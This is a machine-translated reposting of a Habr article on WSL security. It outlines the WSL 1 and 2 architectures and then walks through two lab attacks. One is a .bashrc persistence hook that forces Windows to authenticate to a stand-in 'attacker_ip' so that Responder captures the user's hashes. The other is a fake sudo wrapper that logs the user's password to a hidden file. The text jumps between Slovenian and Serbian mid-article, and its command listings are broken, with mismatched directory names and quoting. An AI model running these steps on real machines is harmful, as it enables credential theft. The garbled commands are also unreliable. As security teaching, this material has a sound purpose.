Eksperimenti WSL. Del 1

Pozdravljen, Habr! Oktobra OTUS začenja nov niz tečaja „Sigurnost Linuxa“. V pričakovanju začetka tečaja delimo z vami članek, ki ga je napisal eden naših učiteljev — Aleksander Kolesnikov.

Eksperimenti WSL. Del 1

Leta 2016 je podjetje Microsoft IT skupnosti predstavilo novo tehnologijo WSL (Windows Subsystem for Linux), ki je v prihodnosti omogočila združitev prej nezdružljivih konkurentov, ki so se borili za priljubljenost tako med običajnimi kot naprednimi uporabniki operacijskih sistemov: Windows in Linux. Ta tehnologija je omogočila uporabo orodij operacijskega sistema Linux v okolju Windows brez potrebe po zagonu sistema Linux, na primer, s pomočjo večkratnega zagona (Multi-boot). Na Habrju lahko najdete veliko število člankov, ki opisujejo prednosti uporabe WSL. Vendar pa na žalost ob času pisanja tega članka na tem viru ni bilo opravljenih raziskav o varnosti takšne simbioze operacijskih sistemov. Ta objava bo poskusila to odpraviti. V članku bodo opisane značilnosti arhitektur WSL 1 in 2, obravnavani bodo nekateri primeri napadov na sisteme, ki uporabljajo te tehnologije. Članek je razdeljen na 2 dela. V prvem bodo predstavljene glavne teoretične metode napadov z vidika Linuxa in Windows. Drugi članek bo vseboval nastavitev testnega okolja in ponovitev napadov.

WSL 1: značilnosti arhitekture

Za najbolj natančno razumevanje varnostnih vprašanj WSL je potrebno določiti osnovne posebnosti, povezane z implementacijo podsystems. Ena od glavnih uporabniških nalog, ki jih rešuje WSL, je omogočiti delo preko terminala Linux sistemov na gostitelju z operacijskim sistemom Windows. Predlagana združljivost je bila tako naravna, da so se izvršljive datoteke Linux (ELF) lahko izvajale neposredno v sistemu Windows. Za dosego teh ciljev je bila v Windows 10 ustvarjena posebna podsystems, ki omogoča zagon Linux aplikacij z uporabo določenega sklopa sistemskih klicev — torej je bilo storjeno poskus mape sklopa syscall-ov Linux na Windows. Fizično je to bilo реализирано z dodajanjem novih gonilnikov in novega formata procesa. Vizualno je arhitektura izgledala takole:

Eksperimenti WSL. Del 1

V bistvu je bilo sodelovanje z operacijskim sistemom Linux organizirano preko več jedrnih modulov in posebne vrste procesov — pico. Iz zgornje sheme je razvidno, da mora biti proces, ki se zažene v instanci Linux na gostitelju, naraven in mora uporabljati iste vire kot običajne aplikacije Windows. Kako pa to doseči? V projektu Drawbridge so bili razviti koncepti procesov za Windows, ki so zagotavljali vse potrebne komponente operacijskega sistema (odvisno od njegove različice) za zagon aplikacije drugega OS.

Opazimo, da je predlagana abstrakcija omogočila, da se ne osredotočimo na operacijski sistem (zlasti — Windows), v katerem se pričakuje zagon procesa drugega OS, ter je ponudila splošni pristop.

Tako je lahko katera koli aplikacija znotraj pico procesa delovala brez upoštevanja jedra Windows:

  1. Težave s združljivostjo in prevodom sistemskih klicev morajo rešiti posebni ponudniki;
  2. Dostop mora nadzirati Varnostni monitor. Monitor se nahaja v jedru, zato je bila za Windows potrebna nadgradnja v obliki novega gonilnika, ki bi lahko nastopal kot ponudnik za take procese. Prototip pico procesa je shematično predstavljen spodaj:

Eksperimenti WSL. Del 1

Ker datotečni sistem Linux uporablja velika in mala črkovna imena datotek in map, so v Windows dodani 2 vrste datotečnih sistemov za delo z WSL — VolFS in DriveFS. VolFS je implementacija datotečnega sistema Linux, DriveFS pa je datotečni sistem, ki deluje po pravilih Windows, vendar ima možnost izbire občutljivosti na velike in male črke imen.

WSL 2

WSL 1 je imela številne omejitve, ki niso omogočale reševanja celotnega spektra nalog: na primer, ni bila podprta možnost izvajanja 32-bitnih Linux aplikacij, prav tako ni bilo mogoče uporabljati naprave gonilnike. Zato je bila leta 2020 izdana WSL 2, ki je spremenila pristop k gradnji podsystema. WSL 2 je optimizirana virtualna naprava, ki ustreza stroškom virov WSL 1. Zdaj lahko uporabnik operacijskega sistema Windows izbira pravo različico podsystema Linux glede na težave, ki jih želi rešiti. Za ublažitev morebitnih ranljivosti je bila WSL 2 implementirana na osnovi Hyper-V v sistemu Windows 10. V tej obliki ima Windows možnost izoliranega zagona jedra operacijskega sistema Linux. Pomembno je omeniti, da je bila različica 1 WSL predstavljena kot beta funkcija, ki je morala pokazati smer razvoja Windows na tem področju, zato je bil prehod na Hyper-V neizogiben. Končna arhitektura izgleda tako:

Eksperimenti WSL. Del 1

V tej različici imata jedra sistemov Windows in Linux svoje lastne vire, prekrivanje pa obstaja le v datotečnem sistemu, vendar tega prekrivanja ni mogoče obravnavati kot popolno. Medsebojno delovanje med datotečnimi sistemi poteka preko protokola 9P in odjemalske-strežniške ovijete.

Trenutno Microsoft omogoča preklapljanje med WSL 1 in WSL 2. Obe različici sta na voljo za uporabo.

Varnost WSL

Trenutno obstaja več del, ki opisujejo nekatere pristope k uporabi legitimnih orodij operacijskega sistema za napad na medsebojno delovanje med podsistemoma. Uporabili bomo njihove scenarije za preverjanje aktualnosti napadov ob pisanju članka. Splošen seznam napadov in scenarijev izvajanja:

1. Implementacija datotečnega sistema: pravice dostopa, obstoj skupnih map/mehanizmov izmenjave podatkov.

Raziskave so bile izvedene na področju kršenja pravil dostopa iz Linux FS->Windows FS, Windows FS->Linux FS. Raziskave so prikazale možnost modificiranja določenega datoteke znotraj ciljne operacijske sistema. Prav tako so bile izvedene poskusi prestrezanja, ustvarjanja dvojnikov in brisanja dela datotečnih sistemov.

Scenarij:

  • A. Napad iz operacijskega sistema Windows — modifikacija datotek iz imenika /etc operacijskega sistema Linux.
  • B. Napad iz operacijskega sistema Linux — modifikacija datotek v imenikih: C:Windows, C:Program Files, C:Users

2. Implementacija mrežnog steka.

Istraživanja su izvedena na primerima napada operativnog sistema Linux na Windows. Iskoristile su karakteristike mrežnog steka, konkretno — mehanizme autentifikacije na različitim resursima.

Scenarij:

  • Otvoriti pristup portu koji je zauzet u sistemu Windows.
  • Otvoriti port bez odgovarajućih prava.
  • Pokretanje reverse shell-a koristeći ELF datoteku u operativnom sistemu Windows.

3. Sakrivanje pokretanja procesa malver za računare putem WSL podskripte.

Istraživanja su se bazirala na jednostavnom činjenicu — zaštitne podstrate ne mogu da presretnu događaje u drugom jezgru koje radi koristeći legitimnog provajdera sa strane operativnog sistema u slučaju WSL 1. U slučaju WSL 2 nije moguće pregledati događaje koji se dešavaju u odvojenom jezgru unutar lakke virtuelne mašine.

Scenarij:

1) Pokretanje aplikacije za daljinski pristup sistemu i pregledanje registrovanih događaja.

WSL 1 eksperimenti: presretanje heša (OS Windows)

Napokon smo došli do praktičnog dela. Prvo, potrebno je postaviti okruženje za testiranje. Svi eksperimenti će biti izvedeni na testnom sistemu sa instaliranim Windows 10 2004. Kao slika operativnog sistema za WSL odabrana je slika Ubuntu 18.04. Slika je odabrana nasumično i svaka druga će funkcionisati jednako. Komande za postavljanje testnog sistema:

Pre toga treba pokrenuti powershell.exe sa administratorskim pravima.

Za WSL 1 potrebno je izvršiti sledeće komande:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Uključiti WSL funkciju
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Preuzeti Linux sliku iz Microsoft prodavnice

  • Ubuntu.appx install —root #Instalirati sliku
  • Možda će biti potrebno kliknuti na proces podešavanja i kreirati novog korisnika sa manje prava od root-a. Za naše testove to će biti običan korisnik sam.
  • Restart-Computer #Ponovo pokrenuti
  • Nakon ponovnog pokretanja sistema, može se pozvati bash komanda. Ako je sve ispravno funkcionisalo, videćete otprilike ovakav izlaz u Windows konzoli:

    Eksperimenti WSL. Del 1

    Kao napadača koristićemo distribuciju Kali Linux, sve mašine treba da budu u istoj lokalnoj mreži.

    Predpostavimo, da imamo nepodobno dostopnost do WSL na Windows napravi. Poskusimo izvesti napad na operacijski sistem Linux s klicem ukaza iz Linuxa. Za izvedbo napada uporabimo preprosto tehniko samodejnega zagona — dodali bomo naš skript za izvajanje v okolju Linux. Za to je potrebno spremeniti datoteko .bashrc.

    Na napravi z WSL izvajamo:

    	1. bash
    	2. Pojdite v domači imenik uporabnika: cd /home/sam/
    	2. echo " /home/sam/.attack.sh" >> .bashrc
    	3. echo "icalcs.exe \\attacker_ip\\shareName\" > /dev/null 2>&1" >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Na napravi Kali Linux izvajamo:

    1. Responder -I eth0 -rdvw

    Na napravi Windows zaženemo bash.

    Čakamo na rezultat na napravi Kali Linux:

    Eksperimenti WSL. Del 1

    Tako smo pridobili hashe uporabnika Windows prek WSL, ko smo izvedli ukaz v sistemu Linux.

    Eksperimenti WSL 1: pridobitev gesla uporabnika (OS Linux)

    Izvedli bomo še en poskus. V okviru te preveritve bomo dopolnili datoteko .bashrc s številnimi ukazi, da pridobimo geslo uporabnika operacijskega sistema Linux.

    Zaženemo bash in vnesemo ukaze:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] geslo za $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Žal, poskusite znova."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
    8. echo " /usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Za uspešno izvedbo napada je potrebno, da uporabnik Sam pokliče sudo v terminalu Linux. Po tem bo geslo uporabnika OS Linux shranjeno v datoteki pass.txt:

    Eksperimenti WSL. Del 1

    Izvedba napadov je bila navedena samo za teoretično seznanitev.

    V naslednjem delu članka bomo opisali izvedbo protokola 9P, obravnavali ustvarjanje skenerja za ta protokol ter izvedli napad z njegovo pomočjo.

    Seznam uporabljene literature

    Eksperimenti WSL. Del 1

    Preberite več

    Izvor: habr.com

    Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster